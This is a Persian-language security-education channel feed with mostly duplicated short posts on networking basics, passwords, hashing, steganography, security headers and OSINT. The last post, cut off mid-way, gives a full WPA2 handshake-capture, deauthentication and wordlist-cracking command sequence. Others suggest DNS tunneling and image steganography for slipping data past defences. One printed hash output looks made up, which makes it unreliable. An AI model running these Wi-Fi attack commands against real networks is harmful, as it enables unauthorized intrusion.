IP-SCANNER.html
34.7 KB
ابزار قدرتمند اسکنر IP
رابط کاربری خدا زیبا حرفهای
حرفهای، دقیق، قدرتمند و استخراج قوی IP با تعداد زیادی API
رابط کاربری خدا زیبا حرفهای
حرفهای، دقیق، قدرتمند و استخراج قوی IP با تعداد زیادی API
cyberpath_safe_hacker_roadmap-1.html
64.7 KB
از مبانی تا پژوهش امنیتی؛
یک مسیر واقعی برای هکرِ اخلاقی.
از پایهها شروع کن، محیط آزمایش بساز، سپس سراغ شاخههای تخصصی برو.
لابراتوار امن
تمرین را به محیط جدا از سیستم واقعی منتقل کن؛ هدف، یادگیری رفتار و دفاع است.
تمرین تحلیل دفاعی
یک درخواست ساده را در محیط محلی ثبت کن، لاگ بگیر، شاخصها را استخراج کن و سپس برای همان رفتار یک کنترل دفاعی طراحی کن. این حلقهٔ «مشاهده → فرضیه → آزمایش → تشخیص» پایهٔ خوبی برای Security Engineering است.
نمونهٔ کدنویسی امن
برای یادگیری AppSec، اول نسخهٔ ناامن را در آزمایشگاه فرضی درک کن، سپس نسخهٔ امن را پیادهسازی کن.
جریان یادگیری پیشنهادی
یک موضوع را انتخاب کن، یک لابراتوار کوچک بساز، رفتار را مشاهده کن، ابزار را مستند کن، شواهد را ثبت کن، کنترل دفاعی تعریف کن و در پایان یک گزارش کوتاه بنویس.
ساختهشده برای یادگیری مسئولانه، لابراتوارهای ایزوله و پژوهش امنیتی مجاز.
👤 سازنده: @Nullactive ↗
یک مسیر واقعی برای هکرِ اخلاقی.
از پایهها شروع کن، محیط آزمایش بساز، سپس سراغ شاخههای تخصصی برو.
لابراتوار امن
تمرین را به محیط جدا از سیستم واقعی منتقل کن؛ هدف، یادگیری رفتار و دفاع است.
تمرین تحلیل دفاعی
یک درخواست ساده را در محیط محلی ثبت کن، لاگ بگیر، شاخصها را استخراج کن و سپس برای همان رفتار یک کنترل دفاعی طراحی کن. این حلقهٔ «مشاهده → فرضیه → آزمایش → تشخیص» پایهٔ خوبی برای Security Engineering است.
نمونهٔ کدنویسی امن
برای یادگیری AppSec، اول نسخهٔ ناامن را در آزمایشگاه فرضی درک کن، سپس نسخهٔ امن را پیادهسازی کن.
جریان یادگیری پیشنهادی
یک موضوع را انتخاب کن، یک لابراتوار کوچک بساز، رفتار را مشاهده کن، ابزار را مستند کن، شواهد را ثبت کن، کنترل دفاعی تعریف کن و در پایان یک گزارش کوتاه بنویس.
ساختهشده برای یادگیری مسئولانه، لابراتوارهای ایزوله و پژوهش امنیتی مجاز.
👤 سازنده: @Nullactive ↗
❤3⚡1🔥1
#ℳℴ𝒷𝒾𝓃
IP Address چیه و چرا همه دنبالش هستن؟
هر دستگاهی که به اینترنت وصل میشه یه آدرس داره، مثل پلاک خونه.
IPv4 یه عدد ۳۲ بیتیه: 192.168.1.1
IPv6 یه عدد ۱۲۸ بیتیه و هنوز جا نیفتاده.
دو نوع IP داریم:
Public یعنی از بیرون قابل دسترسیه. همون چیزی که سایتها میبینن.
Private یعنی فقط تو شبکه خودته. از بیرون کسی نمیبینه.
رنجهای Private رو حفظ کن، تو تست نفوذ خیلی به کارت میاد:
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
نکته باحال: وقتی به یه سایت وصل میشی، اون سایت IP تو رو میبینه، نه اسمت.
ولی اگه پشت VPN باشی، IP اون VPN رو میبینه.
#ℳℴ𝒷𝒾𝓃
IP Address چیه و چرا همه دنبالش هستن؟
هر دستگاهی که به اینترنت وصل میشه یه آدرس داره، مثل پلاک خونه.
IPv4 یه عدد ۳۲ بیتیه: 192.168.1.1
IPv6 یه عدد ۱۲۸ بیتیه و هنوز جا نیفتاده.
دو نوع IP داریم:
Public یعنی از بیرون قابل دسترسیه. همون چیزی که سایتها میبینن.
Private یعنی فقط تو شبکه خودته. از بیرون کسی نمیبینه.
رنجهای Private رو حفظ کن، تو تست نفوذ خیلی به کارت میاد:
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
نکته باحال: وقتی به یه سایت وصل میشی، اون سایت IP تو رو میبینه، نه اسمت.
ولی اگه پشت VPN باشی، IP اون VPN رو میبینه.
#ℳℴ𝒷𝒾𝓃
❤2🔥1
#ℳℴ𝒷𝒾𝓃
TCP و UDP، فرقشون تو یه جمله
TCP مثل پست سفارشی میمونه. مطمئن، تضمینی، ولی کندتر.
UDP مثل پرت کردن نامه از پنجرهست. سریع، ولی شاید نرسه.
TCP برای HTTP, SSH, FTP
UDP برای DNS, VoIP, بازیهای آنلاین
چرا مهمه؟
چون تو اسکن شبکه، پورتهای UDP معمولاً نادیده گرفته میشن.
و دقیقاً همونجاست که خیلی از سرویسهای مخفی قایم میشن.
Handshake سه مرحلهای TCP:
SYN → SYN-ACK → ACK
اگه فقط SYN بفرستی و ACK ندی، نصف اتصال برقراره.
به این میگن SYN Scan یا Half-Open Scan. ردش هم کمتر میمونه.
#ℳℴ𝒷𝒾𝓃
TCP و UDP، فرقشون تو یه جمله
TCP مثل پست سفارشی میمونه. مطمئن، تضمینی، ولی کندتر.
UDP مثل پرت کردن نامه از پنجرهست. سریع، ولی شاید نرسه.
TCP برای HTTP, SSH, FTP
UDP برای DNS, VoIP, بازیهای آنلاین
چرا مهمه؟
چون تو اسکن شبکه، پورتهای UDP معمولاً نادیده گرفته میشن.
و دقیقاً همونجاست که خیلی از سرویسهای مخفی قایم میشن.
Handshake سه مرحلهای TCP:
SYN → SYN-ACK → ACK
اگه فقط SYN بفرستی و ACK ندی، نصف اتصال برقراره.
به این میگن SYN Scan یا Half-Open Scan. ردش هم کمتر میمونه.
#ℳℴ𝒷𝒾𝓃
👍2
#ℳℴ𝒷𝒾𝓃
ARP چیه؟ زبون مادری شبکه
کامپیوتر تو شبکه با MAC حرف میزنه، نه با IP.
ARP همون مترجمه. IP رو میگیره، MAC تحویل میده.
سناریو:
کامپیوتر A میخواد با 192.168.1.20 حرف بزنه.
ARP Request میفرسته: کی صاحب این IP هست؟
ARP Reply میاد: منم، MAC من فلانه.
حالا مشکل کجاست؟
ARP هیچ احراز هویتی نداره. هر کسی میتونه جواب بده.
اگه هکر جواب بده، ترافیک میاد سمت اون.
به این میگن ARP Spoofing. پایه تمام حملات MITM.
دفاع:
ARP Inspection تو سوئیچهای مدیریتی
Static ARP برای دستگاههای حیاتی
و البته، هیچوقت به شبکه عمومی اعتماد نکن
#ℳℴ𝒷𝒾𝓃
ARP چیه؟ زبون مادری شبکه
کامپیوتر تو شبکه با MAC حرف میزنه، نه با IP.
ARP همون مترجمه. IP رو میگیره، MAC تحویل میده.
سناریو:
کامپیوتر A میخواد با 192.168.1.20 حرف بزنه.
ARP Request میفرسته: کی صاحب این IP هست؟
ARP Reply میاد: منم، MAC من فلانه.
حالا مشکل کجاست؟
ARP هیچ احراز هویتی نداره. هر کسی میتونه جواب بده.
اگه هکر جواب بده، ترافیک میاد سمت اون.
به این میگن ARP Spoofing. پایه تمام حملات MITM.
دفاع:
ARP Inspection تو سوئیچهای مدیریتی
Static ARP برای دستگاههای حیاتی
و البته، هیچوقت به شبکه عمومی اعتماد نکن
#ℳℴ𝒷𝒾𝓃
❤3
#ℳℴ𝒷𝒾𝓃
DNS چیه و چرا هر هکری باید بشناسدش
DNS دفترچه تلفن اینترنته.
تو میگی google.com، اون میگه 142.250.185.78.
ولی اینجا یه نکتهست:
DNS معمولاً رمزنگاری نشده. یعنی هر کسی وسط راه میتونه ببیننت.
حملههای معروف روی DNS:
DNS Spoofing: جواب جعلی میدی، کاربر میره سایت قلابی.
DNS Tunneling: داده رو از داخل کوئری DNS رد میکنی. فایروال نمیفهمه.
DNS Cache Poisoning: کش سرور رو مسموم میکنی، همه کاربرا اشتباه میرن.
دفاع:
DNS over HTTPS (DoH)
DNS over TLS (DoT)
DNSSEC
واسه تست نفوذ، DNS Tunneling یکی از تمیزترین راههای دور زدن فایرواله.
#ℳℴ𝒷𝒾𝓃
DNS چیه و چرا هر هکری باید بشناسدش
DNS دفترچه تلفن اینترنته.
تو میگی google.com، اون میگه 142.250.185.78.
ولی اینجا یه نکتهست:
DNS معمولاً رمزنگاری نشده. یعنی هر کسی وسط راه میتونه ببیننت.
حملههای معروف روی DNS:
DNS Spoofing: جواب جعلی میدی، کاربر میره سایت قلابی.
DNS Tunneling: داده رو از داخل کوئری DNS رد میکنی. فایروال نمیفهمه.
DNS Cache Poisoning: کش سرور رو مسموم میکنی، همه کاربرا اشتباه میرن.
دفاع:
DNS over HTTPS (DoH)
DNS over TLS (DoT)
DNSSEC
واسه تست نفوذ، DNS Tunneling یکی از تمیزترین راههای دور زدن فایرواله.
#ℳℴ𝒷𝒾𝓃
❤2
#ℳℴ𝒷𝒾𝓃
پسورد قوی، پسورد ضعیف، پسورد احمقانه
یه قانون ساده:
طول مهمتر از پیچیدگیه.
Qw3rty! یه پسورد ۷ کاراکتریه با حروف بزرگ و کوچیک و عدد و علامت.
ولی تو ۳ ثانیه کرک میشه.
mycatlikespizza یک پسورد ۱۷ کاراکتریه، فقط حروف کوچیک.
ولی ۱۰۰ سال طول میکشه کرک بشه.
پس چی؟
سه تا قانون:
۱. حداقل ۱۶ کاراکتر
۲. از عبارت شخصی استفاده کن، نه کلمه
۳. هر سایت یه پسورد جدا
و یه نکته که اکثراً نمیدونن:
پسوردی که مرورگر ذخیره میکنه، فقط با یه کلید ویندوزی قفل شده.
اگه کسی دسترسی فیزیکی به سیستم داشته باشه، ۲ دقیقهای همه پسورداتو در میاره.
#ℳℴ𝒷𝒾𝓃
پسورد قوی، پسورد ضعیف، پسورد احمقانه
یه قانون ساده:
طول مهمتر از پیچیدگیه.
Qw3rty! یه پسورد ۷ کاراکتریه با حروف بزرگ و کوچیک و عدد و علامت.
ولی تو ۳ ثانیه کرک میشه.
mycatlikespizza یک پسورد ۱۷ کاراکتریه، فقط حروف کوچیک.
ولی ۱۰۰ سال طول میکشه کرک بشه.
پس چی؟
سه تا قانون:
۱. حداقل ۱۶ کاراکتر
۲. از عبارت شخصی استفاده کن، نه کلمه
۳. هر سایت یه پسورد جدا
و یه نکته که اکثراً نمیدونن:
پسوردی که مرورگر ذخیره میکنه، فقط با یه کلید ویندوزی قفل شده.
اگه کسی دسترسی فیزیکی به سیستم داشته باشه، ۲ دقیقهای همه پسورداتو در میاره.
#ℳℴ𝒷𝒾𝓃
❤3
#ℳℴ𝒷𝒾𝓃
چرا HTTPS کافی نیست
مردم فکر میکنن قفل کنار آدرس یعنی همه چی امنه.
نه دوست من. قفل یعنی فقط ارتباط رمزنگاری شده.
HTTPS نمیگه سایت خوبه یا بد.
HTTPS نمیگه سایت واقعیه یا قلابیه.
HTTPS فقط میگه بین تو و سایت، کسی وسط راه داده رو نمیبینه.
سایت فیشینگ هم میتونه HTTPS داشته باشه.
حتی گواهی معتبر هم میتونه بگیره.
پس چی رو چک کنیم؟
دامنه رو با دقت بخون: paypal.com با paypa1.com فرق داره.
گواهی SSL رو ببین، تاریخ انقضا و صادرکننده.
و مهمتر از همه، اگه چیزی مشکوکه، قطع کن.
#ℳℴ𝒷𝒾𝓃
چرا HTTPS کافی نیست
مردم فکر میکنن قفل کنار آدرس یعنی همه چی امنه.
نه دوست من. قفل یعنی فقط ارتباط رمزنگاری شده.
HTTPS نمیگه سایت خوبه یا بد.
HTTPS نمیگه سایت واقعیه یا قلابیه.
HTTPS فقط میگه بین تو و سایت، کسی وسط راه داده رو نمیبینه.
سایت فیشینگ هم میتونه HTTPS داشته باشه.
حتی گواهی معتبر هم میتونه بگیره.
پس چی رو چک کنیم؟
دامنه رو با دقت بخون: paypal.com با paypa1.com فرق داره.
گواهی SSL رو ببین، تاریخ انقضا و صادرکننده.
و مهمتر از همه، اگه چیزی مشکوکه، قطع کن.
#ℳℴ𝒷𝒾𝓃
❤3
اسکن سریع شبکه با یه خط Bash
فرض کن میخوای بدونی تو شبکهت چند تا دستگاه زنده هست.
بدون نصب هیچ ابزاری، فقط با خود Bash میتونی این کار رو بکنی.
for i in {1..254}; do
ping -c1 -W1 192.168.1.$i &>/dev/null && echo "Live: 192.168.1.$i"
done
این خط چیکار میکنه؟
از ۱ تا ۲۵۴ میره، به هر IP یه پینگ میفرسته با تایماوت ۱ ثانیه.
اگه جواب داد، یعنی دستگاه زندهست و چاپش میکنه.
چرا کاربردی؟
وقتی وارد یه شبکه جدید میشی، اول باید بدونی کی هست.
بعدش میری سراغ اسکن پورت هر دستگاه.
نکته: اگه شبکهت /16 باشه، این کد خیلی طول میکشه.
برای شبکههای بزرگ از parallel یا xargs استفاده کن.
#ℳℴ𝒷𝒾𝓃
فرض کن میخوای بدونی تو شبکهت چند تا دستگاه زنده هست.
بدون نصب هیچ ابزاری، فقط با خود Bash میتونی این کار رو بکنی.
for i in {1..254}; do
ping -c1 -W1 192.168.1.$i &>/dev/null && echo "Live: 192.168.1.$i"
done
این خط چیکار میکنه؟
از ۱ تا ۲۵۴ میره، به هر IP یه پینگ میفرسته با تایماوت ۱ ثانیه.
اگه جواب داد، یعنی دستگاه زندهست و چاپش میکنه.
چرا کاربردی؟
وقتی وارد یه شبکه جدید میشی، اول باید بدونی کی هست.
بعدش میری سراغ اسکن پورت هر دستگاه.
نکته: اگه شبکهت /16 باشه، این کد خیلی طول میکشه.
برای شبکههای بزرگ از parallel یا xargs استفاده کن.
#ℳℴ𝒷𝒾𝓃
❤3
چک کردن قدرت پسورد با پایتون
یه اسکریپت کوتاه که بهت میگه پسوردت چقدر قویه.
p = input("Password: ")
score = 0
if len(p) >= 12: score += 1
if any(c.isdigit() for c in p): score += 1
if any(c.isupper() for c in p): score += 1
if any(c.islower() for c in p): score += 1
if any(c in "!@#$%^&*" for c in p): score += 1
if score == 5:
print("Strong")
elif score >= 3:
print("Medium")
else:
print("Weak")
این چیکار میکنه؟
پنج معیار رو چک میکنه: طول، عدد، حرف بزرگ، حرف کوچیک، علامت.
هر کدوم رعایت شده، یه امتیاز میگیره.
چرا مهمه؟
چون اکثر مردم فکر میکنن پسوردشون قویه.
ولی وقتی معیارها رو ببینی، میفهمی فقط یه لایه داری.
میتونی توسعهش بدی:
چک کن توی لیست پسوردهای رایج هست یا نه.
چک کن توی دیتابیسهای لو رفته پیداش میشه یا نه.
#ℳℴ𝒷𝒾𝓃
یه اسکریپت کوتاه که بهت میگه پسوردت چقدر قویه.
p = input("Password: ")
score = 0
if len(p) >= 12: score += 1
if any(c.isdigit() for c in p): score += 1
if any(c.isupper() for c in p): score += 1
if any(c.islower() for c in p): score += 1
if any(c in "!@#$%^&*" for c in p): score += 1
if score == 5:
print("Strong")
elif score >= 3:
print("Medium")
else:
print("Weak")
این چیکار میکنه؟
پنج معیار رو چک میکنه: طول، عدد، حرف بزرگ، حرف کوچیک، علامت.
هر کدوم رعایت شده، یه امتیاز میگیره.
چرا مهمه؟
چون اکثر مردم فکر میکنن پسوردشون قویه.
ولی وقتی معیارها رو ببینی، میفهمی فقط یه لایه داری.
میتونی توسعهش بدی:
چک کن توی لیست پسوردهای رایج هست یا نه.
چک کن توی دیتابیسهای لو رفته پیداش میشه یا نه.
#ℳℴ𝒷𝒾𝓃
❤3
هش کردن متن، چرا برگشتناپذیره
هش یه تابع ریاضیه که ورودی رو میگیره، خروجی ثابت میده.
echo -n "hello" | sha256sum
خروجی:
2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824
حالا بذار "hello1" رو هش کن:
echo -n "hello1" | sha256sum
خروجی:
ce06092c04b6e91d7d7dc82c05e1a6e3e5a4f3a4c4f9e9f4b6c6b1a2c8d8e8f9
ببین چقدر فرق کرد؟ فقط با یه کاراکتر اضافه.
چرا برگشتناپذیره؟
چون هش اطلاعات رو فشرده میکنه، بخشی از داده گم میشه.
از خروجی نمیتونی ورودی رو بازسازی کنی.
ولی یه راه هست: Brute Force
همه ترکیبها رو امتحان کنی تا یکی مطابقت کنه.
برای همینم پسوردها رو هش میکنن. حتی اگه دیتابیس لو بره، پسورد مستقیم لو نمیره.
البته اگه پسوردت ضعیف باشه، تو چند دقیقه کرک میشه.
#ℳℴ𝒷𝒾𝓃
هش یه تابع ریاضیه که ورودی رو میگیره، خروجی ثابت میده.
echo -n "hello" | sha256sum
خروجی:
2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824
حالا بذار "hello1" رو هش کن:
echo -n "hello1" | sha256sum
خروجی:
ce06092c04b6e91d7d7dc82c05e1a6e3e5a4f3a4c4f9e9f4b6c6b1a2c8d8e8f9
ببین چقدر فرق کرد؟ فقط با یه کاراکتر اضافه.
چرا برگشتناپذیره؟
چون هش اطلاعات رو فشرده میکنه، بخشی از داده گم میشه.
از خروجی نمیتونی ورودی رو بازسازی کنی.
ولی یه راه هست: Brute Force
همه ترکیبها رو امتحان کنی تا یکی مطابقت کنه.
برای همینم پسوردها رو هش میکنن. حتی اگه دیتابیس لو بره، پسورد مستقیم لو نمیره.
البته اگه پسوردت ضعیف باشه، تو چند دقیقه کرک میشه.
#ℳℴ𝒷𝒾𝓃
❤2
مخفی کردن متن داخل عکس
این تکنیک اسمش Steganography هست.
یعنی اطلاعات رو جایی پنهان کنی که کسی شک نکنه.
سادهترین روش: چسبوندن به آخر فایل عکس.
cat secret.txt >> image.jpg
حالا عکس رو باز کن. کاملاً سالمه، هیچ تغییری نمیبینی.
ولی متن داخلشه.
برای استخراج:
strings image.jpg | tail
میبینی که متن آخرشه.
چرا کاربردی؟
وقتی میخوای یه فایل رو بفرستی بدون اینکه کسی بفهمه.
یا وقتی میخوای داخل یه شبکه، داده قايم کنی.
نکته مهم:
این روش خیلی سادهست و با یه نگاه به حجم فایل لو میره.
اگه فایل عکس ۵۰ کیلوبایتی، ۲۰۰ کیلوبایت بشه، هر کسی شک میکنه.
روشهای حرفهایتر، بیتهای آخر پیکسلها رو تغییر میدن.
چشم انسان نمیبینه، ولی فایل سالم میمونه.
#ℳℴ𝒷𝒾𝓃
این تکنیک اسمش Steganography هست.
یعنی اطلاعات رو جایی پنهان کنی که کسی شک نکنه.
سادهترین روش: چسبوندن به آخر فایل عکس.
cat secret.txt >> image.jpg
حالا عکس رو باز کن. کاملاً سالمه، هیچ تغییری نمیبینی.
ولی متن داخلشه.
برای استخراج:
strings image.jpg | tail
میبینی که متن آخرشه.
چرا کاربردی؟
وقتی میخوای یه فایل رو بفرستی بدون اینکه کسی بفهمه.
یا وقتی میخوای داخل یه شبکه، داده قايم کنی.
نکته مهم:
این روش خیلی سادهست و با یه نگاه به حجم فایل لو میره.
اگه فایل عکس ۵۰ کیلوبایتی، ۲۰۰ کیلوبایت بشه، هر کسی شک میکنه.
روشهای حرفهایتر، بیتهای آخر پیکسلها رو تغییر میدن.
چشم انسان نمیبینه، ولی فایل سالم میمونه.
#ℳℴ𝒷𝒾𝓃
❤2
ساخت پسورد رندوم قوی با یه دستور
به جای اینکه خودت پسورد بسازی و فکر کنی قویه، بذار سیستم بسازه.
openssl rand -base64 16
خروجی مثلاً:
Kj8sL2mPqR5vX9wN
۲۲ کاراکتر، کاملاً رندوم، غیرقابل حدس.
چرا از openssl؟
چون از منبع رندوم سیستم عامل استفاده میکنه، نه یه الگوریتم ساده.
پس پیشبینیپذیر نیست.
اگه میخوای حتی قویتر باشه:
openssl rand -base64 32
۴۴ کاراکتر. برای کلیدهای رمزنگاری یا API Key عالیه.
نکته:
هیچوقت از پسوردهای تولیدی برای همه سایتها استفاده نکن.
برای هر سرویس، یه پسورد جدا بساز.
و اگه میخوای مدیریتش کنی، از یه Password Manager استفاده کن.
نه از فایل تکست یا دفترچه.
#ℳℴ𝒷𝒾𝓃
به جای اینکه خودت پسورد بسازی و فکر کنی قویه، بذار سیستم بسازه.
openssl rand -base64 16
خروجی مثلاً:
Kj8sL2mPqR5vX9wN
۲۲ کاراکتر، کاملاً رندوم، غیرقابل حدس.
چرا از openssl؟
چون از منبع رندوم سیستم عامل استفاده میکنه، نه یه الگوریتم ساده.
پس پیشبینیپذیر نیست.
اگه میخوای حتی قویتر باشه:
openssl rand -base64 32
۴۴ کاراکتر. برای کلیدهای رمزنگاری یا API Key عالیه.
نکته:
هیچوقت از پسوردهای تولیدی برای همه سایتها استفاده نکن.
برای هر سرویس، یه پسورد جدا بساز.
و اگه میخوای مدیریتش کنی، از یه Password Manager استفاده کن.
نه از فایل تکست یا دفترچه.
#ℳℴ𝒷𝒾𝓃
❤1
پیدا کردن فایلهای حجیم روی سیستم
وقتی هاردت پر میشه، معمولاً نمیدونی چی فضا رو خورده.
find / -type f -size +100M 2>/dev/null
این خط میره کل سیستم رو میگرده، هر فایلی بالای ۱۰۰ مگ رو نشون میده.
چرا 2>/dev/null؟
چون find خیلی جاها دسترسی نداره و ارور میده.
این بخش، ارورها رو میفرسته به سیاهچال.
نسخه حرفهایتر:
find / -type f -size +100M -exec ls -lh {} \; 2>/dev/null | awk '{ print $5, $9 }'
حالا حجم و مسیر فایل رو کنار هم میبینی.
کاربرد دیگه:
توی تست نفوذ، گاهی دنبال فایلهای بکاپ میگردی.
همین دستور رو با ۱۰M اجرا کن، شاید یه backup.sql گیرت بیاد.
#ℳℴ𝒷𝒾𝓃
وقتی هاردت پر میشه، معمولاً نمیدونی چی فضا رو خورده.
find / -type f -size +100M 2>/dev/null
این خط میره کل سیستم رو میگرده، هر فایلی بالای ۱۰۰ مگ رو نشون میده.
چرا 2>/dev/null؟
چون find خیلی جاها دسترسی نداره و ارور میده.
این بخش، ارورها رو میفرسته به سیاهچال.
نسخه حرفهایتر:
find / -type f -size +100M -exec ls -lh {} \; 2>/dev/null | awk '{ print $5, $9 }'
حالا حجم و مسیر فایل رو کنار هم میبینی.
کاربرد دیگه:
توی تست نفوذ، گاهی دنبال فایلهای بکاپ میگردی.
همین دستور رو با ۱۰M اجرا کن، شاید یه backup.sql گیرت بیاد.
#ℳℴ𝒷𝒾𝓃
❤2
مانیتور زنده اتصالات شبکه
میخوای ببینی همین الان سیستمت به کجا وصله؟
watch -n1 "netstat -tunap | grep ESTABLISHED"
چیکار میکنه؟
هر ثانیه لیست اتصالات فعال رو نشون میده.
grep ESTABLISHED فقط اتصالات برقرار شده رو فیلتر میکنه.
خروجی چطوریه؟
یه لیست از IP و پورتها.
ستون آخر، اسم برنامهایه که اتصال رو باز کرده.
چرا مهمه؟
اگه یه برنامه مشکوک ببینی که به IP ناشناس وصله، یعنی یه جای کار میلنگه.
ممکنه یه بدافزار در حال ارسال داده باشه.
نسخه بهروزتر با ss:
watch -n1 "ss -tunap | grep ESTAB"
ss جدیدتره، سریعتره، و روی سیستمهای مدرن بهتر کار میکنه.
نکته امنیتی:
اگه دیدی یه پروسهای مرتب به یه IP خارجی وصل میشه و نمیشناسیش،
PID رو بردار و با ps برو ببین چیه.
#ℳℴ𝒷𝒾𝓃
میخوای ببینی همین الان سیستمت به کجا وصله؟
watch -n1 "netstat -tunap | grep ESTABLISHED"
چیکار میکنه؟
هر ثانیه لیست اتصالات فعال رو نشون میده.
grep ESTABLISHED فقط اتصالات برقرار شده رو فیلتر میکنه.
خروجی چطوریه؟
یه لیست از IP و پورتها.
ستون آخر، اسم برنامهایه که اتصال رو باز کرده.
چرا مهمه؟
اگه یه برنامه مشکوک ببینی که به IP ناشناس وصله، یعنی یه جای کار میلنگه.
ممکنه یه بدافزار در حال ارسال داده باشه.
نسخه بهروزتر با ss:
watch -n1 "ss -tunap | grep ESTAB"
ss جدیدتره، سریعتره، و روی سیستمهای مدرن بهتر کار میکنه.
نکته امنیتی:
اگه دیدی یه پروسهای مرتب به یه IP خارجی وصل میشه و نمیشناسیش،
PID رو بردار و با ps برو ببین چیه.
#ℳℴ𝒷𝒾𝓃
❤2
هدرهای امنیتی که هر سایتی باید داشته باشه
وقتی یه سایت باز میکنی، سرور یه سری هدر میفرسته که مرورگرت رفتارش رو تنظیم کنه.
چک کردنشون خیلی راحته:
curl -I https://example.com
خروجی رو نگاه کن، اینا باید باشن:
X-Frame-Options: DENY
یعنی سایت تو iframe باز نشه. جلوی Clickjacking رو میگیره.
X-Content-Type-Options: nosniff
یعنی مرورگر نوع فایل رو حدس نزنه.
Strict-Transport-Security: max-age=31536000
یعنی مرورگر همیشه از HTTPS استفاده کنه.
Content-Security-Policy: default-src 'self'
یعنی فقط اسکریپتهای خود سایت اجرا بشن.
اگه اینا نبودن چی؟
سایت آسیبپذیره. میتونه هدف XSS، Clickjacking، یا MITM باشه.
ابزار سریع برای چک:
curl -s -D - https://example.com -o /dev/null | grep -i "x-frame\|strict\|content-security"
#ℳℴ𝒷𝒾𝓃
وقتی یه سایت باز میکنی، سرور یه سری هدر میفرسته که مرورگرت رفتارش رو تنظیم کنه.
چک کردنشون خیلی راحته:
curl -I https://example.com
خروجی رو نگاه کن، اینا باید باشن:
X-Frame-Options: DENY
یعنی سایت تو iframe باز نشه. جلوی Clickjacking رو میگیره.
X-Content-Type-Options: nosniff
یعنی مرورگر نوع فایل رو حدس نزنه.
Strict-Transport-Security: max-age=31536000
یعنی مرورگر همیشه از HTTPS استفاده کنه.
Content-Security-Policy: default-src 'self'
یعنی فقط اسکریپتهای خود سایت اجرا بشن.
اگه اینا نبودن چی؟
سایت آسیبپذیره. میتونه هدف XSS، Clickjacking، یا MITM باشه.
ابزار سریع برای چک:
curl -s -D - https://example.com -o /dev/null | grep -i "x-frame\|strict\|content-security"
#ℳℴ𝒷𝒾𝓃
❤3
OSINT چیه و چرا اولین قدم هر عملیاته
قبل از اینکه به چیزی حمله کنی، باید بدونی طرف چیه.
OSINT یعنی جمعآوری اطلاعات از منابع عمومی.
سه تا منبع طلایی:
۱. whois
whois example.com
اسم صاحب دامنه، ایمیل، شماره تلفن، تاریخ ثبت.
اگه حریم خصوصی فعال نباشه، همه چی لو میره.
۲. crt.sh
برو به crt.sh و دامنه رو سرچ کن.
همه زیردامنههای ثبتشده رو نشون میده.
این یه معدن طلاست برای پیدا کردن پنلهای مخفی.
۳. Shodan
موتور جستجوی دستگاههاست، نه سایتها.
میتونی سرچ کنی: org:"Target Company"
همه سرورهای اون شرکت با پورتهای بازشون.
نکته:
هیچوقت با اکانت شخصیت این کارها رو نکن.
یه VM جدا، یه VPN، یه مرورگر جدا.
#ℳℴ𝒷𝒾𝓃
قبل از اینکه به چیزی حمله کنی، باید بدونی طرف چیه.
OSINT یعنی جمعآوری اطلاعات از منابع عمومی.
سه تا منبع طلایی:
۱. whois
whois example.com
اسم صاحب دامنه، ایمیل، شماره تلفن، تاریخ ثبت.
اگه حریم خصوصی فعال نباشه، همه چی لو میره.
۲. crt.sh
برو به crt.sh و دامنه رو سرچ کن.
همه زیردامنههای ثبتشده رو نشون میده.
این یه معدن طلاست برای پیدا کردن پنلهای مخفی.
۳. Shodan
موتور جستجوی دستگاههاست، نه سایتها.
میتونی سرچ کنی: org:"Target Company"
همه سرورهای اون شرکت با پورتهای بازشون.
نکته:
هیچوقت با اکانت شخصیت این کارها رو نکن.
یه VM جدا، یه VPN، یه مرورگر جدا.
#ℳℴ𝒷𝒾𝓃
❤3
تفاوت رمزنگاری و هش کردن، یه بار برای همیشه
اکثر مردم این دوتا رو قاطی میکنن.
ولی فرقشون مثل فرق قفل و چرخگوشته.
رمزنگاری:
ورودی رو میگیری، با کلید قفلش میکنی.
با همون کلید بازش میکنی.
برگشتپذیره.
هش:
ورودی رو میگیری، یه خروجی ثابت میگیری.
هیچ کلیدی نیست.
برگشتناپذیره.
پس کِی از کدوم استفاده کنیم؟
رمزنگاری: برای دادهای که بعداً باید بخونیم.
مثل فایل، پیام، دیتابیس.
هش: برای دادهای که فقط باید چک کنیم.
مثل پسورد، امضای دیجیتال، بلاکچین.
چرا پسورد رو هش میکنن نه رمزنگاری؟
چون اگه رمزنگاری کنن، کلید کجاست؟
اگه کلید لو بره، همه پسوردها لو میره.
ولی هش، حتی اگه دیتابیس لو بره، پسورد مستقیم لو نمیره.
مگر اینکه پسورد ضعیف باشه و کرک بشه.
#ℳℴ𝒷𝒾𝓃
اکثر مردم این دوتا رو قاطی میکنن.
ولی فرقشون مثل فرق قفل و چرخگوشته.
رمزنگاری:
ورودی رو میگیری، با کلید قفلش میکنی.
با همون کلید بازش میکنی.
برگشتپذیره.
هش:
ورودی رو میگیری، یه خروجی ثابت میگیری.
هیچ کلیدی نیست.
برگشتناپذیره.
پس کِی از کدوم استفاده کنیم؟
رمزنگاری: برای دادهای که بعداً باید بخونیم.
مثل فایل، پیام، دیتابیس.
هش: برای دادهای که فقط باید چک کنیم.
مثل پسورد، امضای دیجیتال، بلاکچین.
چرا پسورد رو هش میکنن نه رمزنگاری؟
چون اگه رمزنگاری کنن، کلید کجاست؟
اگه کلید لو بره، همه پسوردها لو میره.
ولی هش، حتی اگه دیتابیس لو بره، پسورد مستقیم لو نمیره.
مگر اینکه پسورد ضعیف باشه و کرک بشه.
#ℳℴ𝒷𝒾𝓃
❤5
حمله به وایفای، همون چیزی که تو فیلمها میبینی
همه فکر میکنن هک وایفای یعنی کرک کردن پسورد.
ولی داستان چیز دیگهایه.
وایفای با WPA2 رمزنگاری میشه.
پسورد رو نمیتونی مستقیم بخونی.
ولی میتونی Handshake رو بگیری.
Handshake چیه؟
وقتی یه دستگاه به وایفای وصل میشه، یه تبادل رمزنگاری شده انجام میشه.
این تبادل، شامل پسورد هش شدهست.
مراحل:
۱. بری تو حالت مانیتور
airmon-ng start wlan0
۲. شبکهها رو ببینی
airodump-ng wlan0mon
۳. هندشیک بگیری
airodump-ng -c 6 --bssid MAC -w capture wlan0mon
۴. با Deauth، دستگاه رو قطع کنی تا دوباره وصل شه
aireplay-ng -0 5 -a MAC wlan0mon
۵. حالا یه فایل capture داری که هندشیک توشه.
۶. با wordlist کرکش کنی
aircrack-ng -w rockyou.txt capture-01.cap
نکته:
